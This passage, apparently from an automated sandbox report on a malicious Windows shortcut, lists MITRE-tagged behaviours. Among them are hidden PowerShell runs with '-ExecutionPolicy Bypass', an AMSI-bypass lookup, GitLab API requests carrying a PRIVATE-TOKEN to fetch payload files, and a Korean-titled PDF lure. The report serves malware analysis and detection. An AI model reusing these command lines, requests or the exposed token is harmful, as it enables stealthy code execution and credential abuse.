Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"APPENDPATH\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"PATH\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the windows installation date","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\"; Key: \"INSTALLDATE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-13","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"Environment Awareness","name":"Tries to access recent files","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\25C23C65AF473F87.CUSTOMDESTINATIONS-MS\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.TEMP\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.temp\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-169","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Accesses Software Policy Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\"; Key: \"\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-18","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\"; Key: \"\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\27748148BBE67A43CDBFEC6C3784862CE134E6EA\"; Key: \"BLOB\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00006444)\n \"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"powershell.exe\" called \"CreateDirectoryA\" with parameter %TEMP%\\hcjefsh2 (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -windowstyle hidden -ExecutionPolicy Bypass %USERPROFILE%\\AppData\\R\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"%TEMP%\\hcjefsh2\\hcje\" - (UID: 00000000-00005528), \"powershell.exe\" called \"CreateProcessW\" with parameter \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -File %USERPROFILE%\\AppData\\Roam\" - (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134190840882184957.6444.DefaultAppDomain.powershell\" - (UID: 00000000-00006444)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134190841330011942.5528.DefaultAppDomain.powershell\" - (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$30","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to move file or directory","description":"\"powershell.exe\" called \"MoveFileW\" with parameter %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\8KT95F6TBB8HO4W998TM.temp & %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\25c23c65af473f87.customDestinations-ms (UID: 00000000-00006444)","origin":"API Call","mitre_attack_id":"T1570","relevance":1,"id":"api-224","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"details too long to display","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"gitlab.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"172.65.251.78:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$31","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00004752.00000001.226698.EADB2000.00000002.mdmp\")\n Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")\n Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"00000000-00005528.00000000.225591.E1A82000.00000002.mdmp, 00000000-00005528.00000001.226277.C2688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contains ability to start a process (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Start-Process\"; File: \"facebook.ps1\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-250","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$33","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Creates directory on disk","description":"\"powershell.exe\" with parameter %TEMP%\\hcjefsh2 (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-318","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"$34","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Drops files marked as clean","description":"Antivirus vendors marked dropped file \"firefox.ps1\" as clean (type is \"Unicode text UTF-16 little-endian text with very long lines (5561) with CRLF line terminators\"), Antivirus vendors marked dropped file \"facebook.ps1\" as clean (type is \"Unicode text UTF-8 (with BOM) text with very long lines (1869) with CRLF line terminators\")","origin":"Binary File","relevance":10,"id":"binary-16","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Executes powershell with commandline","description":"Process \"powershell.exe\" with commandline \"-windowstyle hidden -ExecutionPolicy Bypass %APPDATA%\\\\firefox.ps1\" (UID: 00000000-00005528)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\\\news.ps1\" (UID: 00000000-00004752)\n Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\\\news.ps1\" (UID: 00000000-00006112)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-110","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"$35","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Found E-Mail address in binary/memory","description":"Pattern match: \"premium-server@thawte.com\"","origin":"File/Memory","mitre_attack_id":"T1114","relevance":3,"id":"string-63","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Found named pipe like strings","description":"Found string - \\\\.\\pipe\\PSHost.134190840882184957.6444.DefaultAppDomain.powershell\n Found string - \\\\.\\pipe\\PSHost.134190841330011942.5528.DefaultAppDomain.powershell","origin":"File/Memory","mitre_attack_id":"T1559","relevance":1,"id":"string-146","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Found registry location strings in memory","description":"$36","origin":"Memory Dumps","mitre_attack_id":"T1012","relevance":1,"id":"memorydump-10","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$37","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Loads the .NET runtime environment","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at C7660000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-3","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Loads the AMSI (Antimalware Scan Interface) DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at E1A90000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\amsi.dll\" at EDD70000","origin":"Loaded Module","mitre_attack_id":"T1562.001","id":"module-8","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F5230000\n \"powershell.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at F4A70000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F5230000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at F4A70000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at F4A70000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at F5230000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at CF840000\n \"csc.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at CF840000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"powershell.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F8210000\n \"csc.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F8210000\n \"cvtres.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at F8210000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)","description":"\"19001a000000000040c713f5fd7f0000@ntdll.dll\"\n \"220023000000000018c713f5fd7f0000@ntdll.dll\"","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-8","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin\" was detected as \"Windows Shortcut (.LNK)\" and name: \"Format\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"file/memory contains long string with (Indicator: \"New-Object\"; File: \"2df24d850d6a50410e6503bc449a61778e5e88722ea4e20e198ea61e45a6903e.bin\")\n file/memory contains long string with (Indicator: \"Join-Path\"; File: \"facebook.ps1\")\n file/memory contains long string with (Indicator: \"powershell_ise.exe\"; File: \"8KT95F6TBB8HO4W998TM.temp\")\n file/memory contains long string with (Indicator: \"New-Object\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"$38","origin":"Registry Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Possibly uses system binaries (Windows LOLbins)","description":"$39","origin":"File/Memory","relevance":1,"id":"string-170","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$3a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"gitlab.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Reads Windows Trust Settings","description":"\"powershell.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\"; Key: \"STATE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-20","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\USER PROFILE\"; Key: \"LANGUAGES\")\n \"powershell.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\\GEO\"; Key: \"NATION\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"References Windows file paths for DLLs (possible dropped files)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"powershell.exe\" with commandline \"-windowstyle hidden -ExecutionPolicy Bypass %APPDATA%\\\\firefox.p ...\" (UID: 00000000-00005528)\n Spawned process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\hcjefsh2\\\\hcjefsh2.cmdline\"\" (UID: 00000000-00004540)\n Spawned process \"cvtres.exe\" with commandline \"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\\\RESE5E9.tmp\" \"%TEM ...\" (UID: 00000000-00005740), Spawned process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\\\news.ps1\" (UID: 00000000-00004752), Spawned process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\\\news.ps1\" (UID: 00000000-00006112)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"powershell.exe\" with commandline \"-windowstyle hidden -ExecutionPolicy Bypass %APPDATA%\\\\firefox.p ...\" (UID: 00000000-00005528)\n Spawned process \"csc.exe\" with commandline \"/noconfig /fullpaths @\"%TEMP%\\\\hcjefsh2\\\\hcjefsh2.cmdline\"\" (UID: 00000000-00004540)\n Spawned process \"cvtres.exe\" with commandline \"/NOLOGO /READONLY /MACHINE:IX86 \"/OUT:%TEMP%\\\\RESE5E9.tmp\" \"%TEM ...\" (UID: 00000000-00005740), Spawned process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\\\news.ps1\" (UID: 00000000-00004752), Spawned process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -File %APPDATA%\\\\news.ps1\" (UID: 00000000-00006112)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=Sectigo RSA Domain Validation Secure Server CA, O=Sectigo Limited, L=Salford, ST=Greater Manchester, C=GB\" (SHA1: 55:DE:BB:59:4D:4D:31:1A:03:26:66:64:57:12:13:A9:3A:5D:52:51; see report for more information)\n The input sample is signed with a certificate issued by \"CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US\" (SHA1: 33:E4:E8:08:07:20:4C:2B:61:82:A3:A1:4B:59:1A:CD:25:B5:F0:DB; see report for more information)\n The input sample is signed with a certificate issued by \"CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US\" (SHA1: 2B:8F:1B:57:33:0D:BB:A2:D0:7A:6C:51:F7:0E:E9:0D:DA:B9:AD:8E; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Tries to GET non-existent files from a web server","description":"\"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/docx.pdf/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com\nConnection: Keep-Alive\"\n \"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/Yahoo.rtf/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com\"\n \"GET /api/v4/projects/kevin-group5101713/ri/hifer/repository/files/ajobcall.txt/raw?ref=main HTTP/1.1\nPRIVATE-TOKEN: glpat-kVslysiZe9Up04z0TbF7GGM6MQpvOjEKdTpsYnR1Yw8.01.171cdwm1b\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win 64; x64) AppleWe bKit/537.36 (KHTML,like Gecko) Chr ome /145 0.0 .0.0 Safari/537.36\nHost: gitlab.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-3","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Tries to open documents files","description":"\"powershell.exe\" opens a file C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\북한대외전략분석_및_남북관계개선방안.PDF (UID: 00000000-00005528)\n \"powershell.exe\" opens a file C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\YAHOO.RTF (UID: 00000000-00005528)\n \"powershell.exe\" opens a file %TEMP%\\북한대외전략분석_및_남북관계개선방안.PDF (UID: 00000000-00005528)\n \"powershell.exe\" opens a file %APPDATA%\\Microsoft\\Windows\\Templates\\YAHOO.RTF (UID: 00000000-00005528)","origin":"API Call","mitre_attack_id":"T1005","relevance":2,"id":"api-248","sources":[{"report_type":"sandbox","report_id":"69c605ac425fdab676032d9f"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_a1vu3pd2.aat.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_qh1klm4a.ae2.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_c4tx1jzi.t22.ps1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_wtgpzhid.iav.psm1\"\n \"powershell.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\hcjefsh2\\hcjefsh2.0.cs\"\n \"powershell.exe\" writes to 